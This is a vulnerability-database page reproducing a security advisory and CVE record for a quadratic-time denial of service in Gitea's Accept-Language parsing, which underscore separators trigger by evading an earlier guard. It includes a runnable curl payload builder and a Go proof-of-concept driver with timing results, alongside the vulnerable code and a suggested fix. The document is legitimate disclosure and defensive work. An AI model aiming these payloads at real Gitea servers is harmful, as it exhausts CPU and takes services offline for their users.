Vulnerability-Lookup

GHSA-FW57-JGCH-PGF3

Vulnerability from github – Published: 2026-07-21 21:15 – Updated: 2026-07-21 21:15

Summary

Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests

Details

Summary

The Locale middleware that runs in front of every unauthenticated request calls golang.org/x/text/language.ParseAcceptLanguage on the raw Accept-Language header without imposing a size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators burns ~2 seconds of server CPU on the host running Gitea; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~1 MiB of upstream bandwidth per request.

Affected versions

code.gitea.io/gitea 1.22.6 and (per code inspection of main) all earlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that do not impose their own size limit on the Accept-Language header before calling ParseAcceptLanguage. Verified on:

the official gitea/gitea:1.22.6 docker image (E2E below)
main at commit 6f4027a6be28c876c0abaf37cc939658645b78a3 by reading modules/web/middleware/locale.go (the call site at line 38 is unchanged on main)

Privilege required

Unauthenticated. The Locale middleware runs for every HTTP request including the landing page and the sign-in page.

Vulnerable code

modules/web/middleware/locale.go:38 (blob SHA fc396f0808187c358b4fc15dcefcd6957140a780):

// 3. Get language information from 'Accept-Language'.
// The first element in the list is chosen to be the default language automatically.
if len(lang) == 0 {
    tags, _, _ := language.ParseAcceptLanguage(req.Header.Get("Accept-Language"))
    tag := translation.Match(tags...)
    lang = tag.String()
}

req.Header.Get("Accept-Language") is the unfiltered HTTP header. Default Go net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Gitea does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.

CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 1 MiB header full of 9-character _aaaaaaaaa_aaaaaaaaa_... tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path. The fix author of CVE-2022-32149 treated - as the canonical separator; the _ alias was added in 2013, nine years before the fix.

How `Accept-Language` reaches `ParseAcceptLanguage`

Every Gitea HTTP request passes through Locale as it is wired up via the global request pipeline (Gitea registers the middleware on its router in routers/web/web.go). The middleware sequence is:

The request enters Locale(resp, req).
req.URL.Query().Get("lang") returns "" (attacker omits lang).
req.Cookie("lang") returns nil on a fresh client (attacker uses a fresh client, or simply does not send the cookie).
req.Header.Get("Accept-Language") returns the full attacker-supplied header value.
language.ParseAcceptLanguage(...) runs unfiltered.

No size or character class filter is applied between (4) and (5).

Proof of concept

Single-line bash reproducer that crafts the malicious header and times one request against a fresh gitea/gitea:1.22.6 container:

docker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6
sleep 8

PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
echo "header size = ${#PAYLOAD} bytes"

curl -sS -o /dev/null \
  -w 'http=%{http_code} t=%{time_total}\n' \
  -H "Accept-Language: ${PAYLOAD}" \
  http://127.0.0.1:13000/

Each 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).

End-to-end reproduction (against `gitea/gitea:1.22.6`)

A Go driver poc.go that boots the container, sends a 1 MiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):

// poc.go
package main

import (
    "fmt"
    "io"
    "net"
    "net/http"
    "strings"
    "time"
)

const targetURL = "http://127.0.0.1:13000/"

func buildPayload(sep string, targetBytes int) string {
    const tok = "abcdefghi"
    var b strings.Builder
    b.Grow(targetBytes + 16)
    b.WriteString("en")
    for b.Len()+1+len(tok) <= targetBytes {
        b.WriteString(sep)
        b.WriteString(tok)
    }
    return b.String()
}

func send(label, header string) {
    client := &http.Client{
        Timeout: 60 * time.Second,
        Transport: &http.Transport{
            DisableKeepAlives: true,
            DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
        },
    }
    req, _ := http.NewRequest("GET", targetURL, nil)
    if header != "" {
        req.Header.Set("Accept-Language", header)
    }
    t0 := time.Now()
    resp, err := client.Do(req)
    dt := time.Since(t0)
    if err != nil {
        fmt.Printf("  %-32s ERR after %v: %v\n", label, dt, err)
        return
    }
    _, _ = io.Copy(io.Discard, resp.Body)
    resp.Body.Close()
    fmt.Printf("  %-32s header=%d B  '_'=%d  '-'=%d  status=%d  t=%v\n",
        label, len(header),
        strings.Count(header, "_"), strings.Count(header, "-"),
        resp.StatusCode, dt)
}

func main() {
    send("warm-up", "")
    send("baseline (no header)", "")
    send("baseline (1 short tag)", "en-US")
    send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
    send("attack ('_' x 1MiB)",     buildPayload("_", 1<<20))
    send("attack repeat 2",          buildPayload("_", 1<<20))
    send("attack repeat 3",          buildPayload("_", 1<<20))
}

Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official gitea/gitea:1.22.6 image with no other tuning):

E2E: golang/x/text ParseAcceptLanguage '_' bypass through
go-gitea/gitea 1.22.6 Locale middleware at
modules/web/middleware/locale.go:38.

Target: http://127.0.0.1:13000/

  warm-up (no header)              header=0 B  '_'=0  '-'=0  status=200  t=18.079666ms

--- measurements (single request each) ---
  baseline (no header)             header=0 B  '_'=0  '-'=0  status=200  t=6.480333ms
  baseline (1 short tag)           header=5 B  '_'=0  '-'=1  status=200  t=5.0455ms
  guard-fires control ('-' x 1MiB) header=1048572 B  '_'=0  '-'=104857  status=200  t=26.020625ms
  attack ('_' x 1MiB)              header=1048572 B  '_'=104857  '-'=0  status=200  t=2.159538333s
  attack repeat 2                  header=1048572 B  '_'=104857  '-'=0  status=200  t=1.938493583s
  attack repeat 3                  header=1048572 B  '_'=104857  '-'=0  status=200  t=1.679953042s

Interpretation:

Request	Header bytes	Server time
no header / short tag	0 - 5	1 - 7 ms
1 MiB `-` separators (CVE-2022-32149 guard fires)	1 MiB	26 ms
1 MiB `_` separators (guard bypassed)	1 MiB	1.7 - 2.2 s

The - control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 1 MiB - payload returns in 26 ms because the parser short-circuits with ErrTagListTooLarge. The _ attack returns 200 from the same endpoint but consumes ~2 s of server CPU because the guard did not fire and the quadratic scanner ran to completion.

Impact

One unauthenticated client can pin one CPU core for ~2 seconds per 1 MiB request.
Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Gitea instance indefinitely.
The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards.
Self-hosted Gitea installations published to the public internet (the common pattern) are exposed.

Suggested fix

Apply the size / character-class filter before reaching ParseAcceptLanguage. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count _ alongside - and short-circuit when the total exceeds a small ceiling:

// modules/web/middleware/locale.go
const maxAcceptLanguageSeparators = 32 // matches typical real browser values

if len(lang) == 0 {
    al := req.Header.Get("Accept-Language")
    if strings.Count(al, "-")+strings.Count(al, "_") > maxAcceptLanguageSeparators {
        // Refuse to call into the BCP 47 parser with absurd input.
        al = ""
    }
    tags, _, _ := language.ParseAcceptLanguage(al)
    tag := translation.Match(tags...)
    lang = tag.String()
}

A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.

The underlying issue is in golang.org/x/text/language. A future upstream fix is the right long-term solution; the change above is defensive in depth at the only call site that consumes attacker input.

Credit

Reported by tonghuaroot.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58436"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T21:15:47Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe Locale middleware that runs in front of every unauthenticated request\ncalls `golang.org/x/text/language.ParseAcceptLanguage` on the raw\n`Accept-Language` header without imposing a size or shape filter. The\nunderlying parser has quadratic-time behaviour on long lists of malformed\nlanguage tags. The CVE-2022-32149 guard that golang.org/x/text added in\nv0.3.8 caps the number of `-` characters in the input at 1000, but it does\nnot cap `_` characters even though the parser\u0027s internal scanner aliases\n`_` to `-` before parsing. A single unauthenticated GET request with an\n`Accept-Language` header built out of `_` separators burns ~2 seconds of\nserver CPU on the host running Gitea; ten concurrent attackers saturate a\nten-core box for the duration of the attack while consuming ~1 MiB of\nupstream bandwidth per request.\n\n### Affected versions\n\n`code.gitea.io/gitea` 1.22.6 and (per code inspection of `main`) all\nearlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that\ndo not impose their own size limit on the `Accept-Language` header before\ncalling `ParseAcceptLanguage`. Verified on:\n\n- the official `gitea/gitea:1.22.6` docker image (E2E below)\n- `main` at commit `6f4027a6be28c876c0abaf37cc939658645b78a3` by reading\n  `modules/web/middleware/locale.go` (the call site at line 38 is unchanged\n  on `main`)\n\n### Privilege required\n\nUnauthenticated. The Locale middleware runs for every HTTP request\nincluding the landing page and the sign-in page.\n\n### Vulnerable code\n\n[`modules/web/middleware/locale.go:38`](https://github.com/go-gitea/gitea/blob/fc396f0808187c358b4fc15dcefcd6957140a780/modules/web/middleware/locale.go#L38)\n(blob SHA `fc396f0808187c358b4fc15dcefcd6957140a780`):\n\n```go\n// 3. Get language information from \u0027Accept-Language\u0027.\n// The first element in the list is chosen to be the default language automatically.\nif len(lang) == 0 {\n    tags, _, _ := language.ParseAcceptLanguage(req.Header.Get(\"Accept-Language\"))\n    tag := translation.Match(tags...)\n    lang = tag.String()\n}\n```\n\n`req.Header.Get(\"Accept-Language\")` is the unfiltered HTTP header. Default\nGo `net/http` `MaxHeaderBytes` is `1 \u003c\u003c 20` = 1 MiB and Gitea does not\noverride it, so the parser is allowed to receive up to a megabyte of\nattacker-controlled data.\n\nCVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters\nand rejecting inputs with more than 1000 of them. The guard does not count\n`_` characters even though the scanner converts `_` to `-` at parse time\n([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)).\nA 1 MiB header full of 9-character `_aaaaaaaaa_aaaaaaaaa_...` tokens\ncontains zero `-` characters, passes the guard, and then drives the\nscanner into the O(N\u00b2) `gobble` path. The fix author of CVE-2022-32149\ntreated `-` as the canonical separator; the `_` alias was added in 2013,\nnine years before the fix.\n\n### How `Accept-Language` reaches `ParseAcceptLanguage`\n\nEvery Gitea HTTP request passes through `Locale` as it is wired up via\nthe global request pipeline (Gitea registers the middleware on its router\nin `routers/web/web.go`). The middleware sequence is:\n\n1. The request enters `Locale(resp, req)`.\n2. `req.URL.Query().Get(\"lang\")` returns \"\" (attacker omits `lang`).\n3. `req.Cookie(\"lang\")` returns nil on a fresh client (attacker uses a\n   fresh client, or simply does not send the cookie).\n4. `req.Header.Get(\"Accept-Language\")` returns the full attacker-supplied\n   header value.\n5. `language.ParseAcceptLanguage(...)` runs unfiltered.\n\nNo size or character class filter is applied between (4) and (5).\n\n### Proof of concept\n\nSingle-line bash reproducer that crafts the malicious header and\ntimes one request against a fresh `gitea/gitea:1.22.6` container:\n\n```bash\ndocker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6\nsleep 8\n\nPAYLOAD=\"en$(python3 -c \u0027print(\"_abcdefghi\" * 100000, end=\"\")\u0027)\"\necho \"header size = ${#PAYLOAD} bytes\"\n\ncurl -sS -o /dev/null \\\n  -w \u0027http=%{http_code} t=%{time_total}\\n\u0027 \\\n  -H \"Accept-Language: ${PAYLOAD}\" \\\n  http://127.0.0.1:13000/\n```\n\nEach 9-character `_abcdefghi` token has length 9, which fails the\nscanner\u0027s `len \u003c= 8` tag-length check at\n`golang.org/x/text/internal/language/parse.go` and triggers a `gobble`\ncall that `runtime.memmove`s the entire remaining buffer. With N invalid\ntokens the total bytes moved by `gobble` is O(N\u00b2).\n\n### End-to-end reproduction (against `gitea/gitea:1.22.6`)\n\nA Go driver `poc.go` that boots the container, sends a 1 MiB\n`Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and\nonce with `_` (guard bypassed):\n\n```go\n// poc.go\npackage main\n\nimport (\n    \"fmt\"\n    \"io\"\n    \"net\"\n    \"net/http\"\n    \"strings\"\n    \"time\"\n)\n\nconst targetURL = \"http://127.0.0.1:13000/\"\n\nfunc buildPayload(sep string, targetBytes int) string {\n    const tok = \"abcdefghi\"\n    var b strings.Builder\n    b.Grow(targetBytes + 16)\n    b.WriteString(\"en\")\n    for b.Len()+1+len(tok) \u003c= targetBytes {\n        b.WriteString(sep)\n        b.WriteString(tok)\n    }\n    return b.String()\n}\n\nfunc send(label, header string) {\n    client := \u0026http.Client{\n        Timeout: 60 * time.Second,\n        Transport: \u0026http.Transport{\n            DisableKeepAlives: true,\n            DialContext: (\u0026net.Dialer{Timeout: 5 * time.Second}).DialContext,\n        },\n    }\n    req, _ := http.NewRequest(\"GET\", targetURL, nil)\n    if header != \"\" {\n        req.Header.Set(\"Accept-Language\", header)\n    }\n    t0 := time.Now()\n    resp, err := client.Do(req)\n    dt := time.Since(t0)\n    if err != nil {\n        fmt.Printf(\"  %-32s ERR after %v: %v\\n\", label, dt, err)\n        return\n    }\n    _, _ = io.Copy(io.Discard, resp.Body)\n    resp.Body.Close()\n    fmt.Printf(\"  %-32s header=%d B  \u0027_\u0027=%d  \u0027-\u0027=%d  status=%d  t=%v\\n\",\n        label, len(header),\n        strings.Count(header, \"_\"), strings.Count(header, \"-\"),\n        resp.StatusCode, dt)\n}\n\nfunc main() {\n    send(\"warm-up\", \"\")\n    send(\"baseline (no header)\", \"\")\n    send(\"baseline (1 short tag)\", \"en-US\")\n    send(\"guard-fires (\u0027-\u0027 x 1MiB)\", buildPayload(\"-\", 1\u003c\u003c20))\n    send(\"attack (\u0027_\u0027 x 1MiB)\",     buildPayload(\"_\", 1\u003c\u003c20))\n    send(\"attack repeat 2\",          buildPayload(\"_\", 1\u003c\u003c20))\n    send(\"attack repeat 3\",          buildPayload(\"_\", 1\u003c\u003c20))\n}\n```\n\nCaptured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the\nofficial `gitea/gitea:1.22.6` image with no other tuning):\n\n```\nE2E: golang/x/text ParseAcceptLanguage \u0027_\u0027 bypass through\ngo-gitea/gitea 1.22.6 Locale middleware at\nmodules/web/middleware/locale.go:38.\n\nTarget: http://127.0.0.1:13000/\n\n  warm-up (no header)              header=0 B  \u0027_\u0027=0  \u0027-\u0027=0  status=200  t=18.079666ms\n\n--- measurements (single request each) ---\n  baseline (no header)             header=0 B  \u0027_\u0027=0  \u0027-\u0027=0  status=200  t=6.480333ms\n  baseline (1 short tag)           header=5 B  \u0027_\u0027=0  \u0027-\u0027=1  status=200  t=5.0455ms\n  guard-fires control (\u0027-\u0027 x 1MiB) header=1048572 B  \u0027_\u0027=0  \u0027-\u0027=104857  status=200  t=26.020625ms\n  attack (\u0027_\u0027 x 1MiB)              header=1048572 B  \u0027_\u0027=104857  \u0027-\u0027=0  status=200  t=2.159538333s\n  attack repeat 2                  header=1048572 B  \u0027_\u0027=104857  \u0027-\u0027=0  status=200  t=1.938493583s\n  attack repeat 3                  header=1048572 B  \u0027_\u0027=104857  \u0027-\u0027=0  status=200  t=1.679953042s\n```\n\nInterpretation:\n\n| Request                                  | Header bytes | Server time |\n|------------------------------------------|--------------|-------------|\n| no header / short tag                    | 0 - 5        | 1 - 7 ms    |\n| 1 MiB `-` separators (CVE-2022-32149 guard fires) | 1 MiB | 26 ms       |\n| 1 MiB `_` separators (guard bypassed)    | 1 MiB        | 1.7 - 2.2 s |\n\nThe `-` control proves that the existing CVE-2022-32149 guard does still\nwork on the canonical separator: a 1 MiB `-` payload returns in 26 ms\nbecause the parser short-circuits with `ErrTagListTooLarge`. The `_`\nattack returns 200 from the same endpoint but consumes ~2 s of server\nCPU because the guard did not fire and the quadratic scanner ran to\ncompletion.\n\n### Impact\n\n- One unauthenticated client can pin one CPU core for ~2 seconds per 1\n  MiB request.\n- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a\n  10-core Gitea instance indefinitely.\n- The endpoint returns 200 OK, so the attack does not surface as\n  abnormal traffic in standard 4xx/5xx dashboards.\n- Self-hosted Gitea installations published to the public internet (the\n  common pattern) are exposed.\n\n### Suggested fix\n\nApply the size / character-class filter before reaching\n`ParseAcceptLanguage`. The smallest change that preserves the existing\nbehaviour for legitimate Accept-Language headers is to count `_`\nalongside `-` and short-circuit when the total exceeds a small ceiling:\n\n```go\n// modules/web/middleware/locale.go\nconst maxAcceptLanguageSeparators = 32 // matches typical real browser values\n\nif len(lang) == 0 {\n    al := req.Header.Get(\"Accept-Language\")\n    if strings.Count(al, \"-\")+strings.Count(al, \"_\") \u003e maxAcceptLanguageSeparators {\n        // Refuse to call into the BCP 47 parser with absurd input.\n        al = \"\"\n    }\n    tags, _, _ := language.ParseAcceptLanguage(al)\n    tag := translation.Match(tags...)\n    lang = tag.String()\n}\n```\n\nA real Accept-Language header from a browser contains under 10\nseparators, so a ceiling of 32 leaves plenty of headroom while making\nthe quadratic blow-up impossible.\n\nThe underlying issue is in `golang.org/x/text/language`. A future\nupstream fix is the right long-term solution; the change above is\ndefensive in depth at the only call site that consumes attacker input.\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-fw57-jgch-pgf3",
  "modified": "2026-07-21T21:15:47Z",
  "published": "2026-07-21T21:15:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-fw57-jgch-pgf3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38323"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/f452c369acc9f1bd05ec6ef9c2e4399062dd6da1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests"
}

CVE-2026-58436 (GCVE-0-2026-58436)

Vulnerability from cvelistv5 – Published: 2026-08-13 16:44 – Updated: 2026-08-14 17:14

Title

ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests

Summary

ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-14 17:14 UTC

CWE

Assigner

Gitea mitre root

References

3 references

URL	Tags
https://github.com/go-gitea/gitea/security/adviso…	vendor-advisory
https://github.com/go-gitea/gitea/releases/tag/v1.27.0	release-notes
https://blog.gitea.com/gitea-1.27.0-is-released/	release-notes

Impacted products

1 product

Vendor	Product	Version
Gitea	Gitea Open Source Git Server	Affected: 0 , ≤ 1.26.4 (semver)

Credits

tonghuaroot

Show details on NVD website

JSON

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{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 7.5,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2026-58436",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-14T17:14:51.911060Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-14T17:14:59.535Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-fw57-jgch-pgf3"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Gitea Open Source Git Server",
          "vendor": "Gitea",
          "versions": [
            {
              "lessThanOrEqual": "1.26.4",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "tonghuaroot"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-407",
              "description": "CWE-407",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-1333",
              "description": "CWE-1333",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-13T16:44:52.210Z",
        "orgId": "88ee5874-cf24-4952-aea0-31affedb7ff2",
        "shortName": "Gitea"
      },
      "references": [
        {
          "name": "GitHub Security Advisory",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-fw57-jgch-pgf3"
        },
        {
          "name": "Gitea v1.27.0 Release",
          "tags": [
            "release-notes"
          ],
          "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
        },
        {
          "name": "Gitea v1.27.0 Release Blog Post",
          "tags": [
            "release-notes"
          ],
          "url": "https://blog.gitea.com/gitea-1.27.0-is-released/"
        }
      ],
      "title": "ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests",
      "x_generator": {
        "engine": "cvelib 1.8.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "88ee5874-cf24-4952-aea0-31affedb7ff2",
    "assignerShortName": "Gitea",
    "cveId": "CVE-2026-58436",
    "datePublished": "2026-08-13T16:44:52.210Z",
    "dateReserved": "2026-06-30T18:57:20.616Z",
    "dateUpdated": "2026-08-14T17:14:59.535Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-FW57-JGCH-PGF3

Summary

Affected versions

Privilege required

Vulnerable code

How Accept-Language reaches ParseAcceptLanguage

Proof of concept

End-to-end reproduction (against gitea/gitea:1.22.6)

Impact

Suggested fix

Credit

CVE-2026-58436 (GCVE-0-2026-58436)

Tags

Sightings

Nomenclature

Related by attack behaviour

How `Accept-Language` reaches `ParseAcceptLanguage`

End-to-end reproduction (against `gitea/gitea:1.22.6`)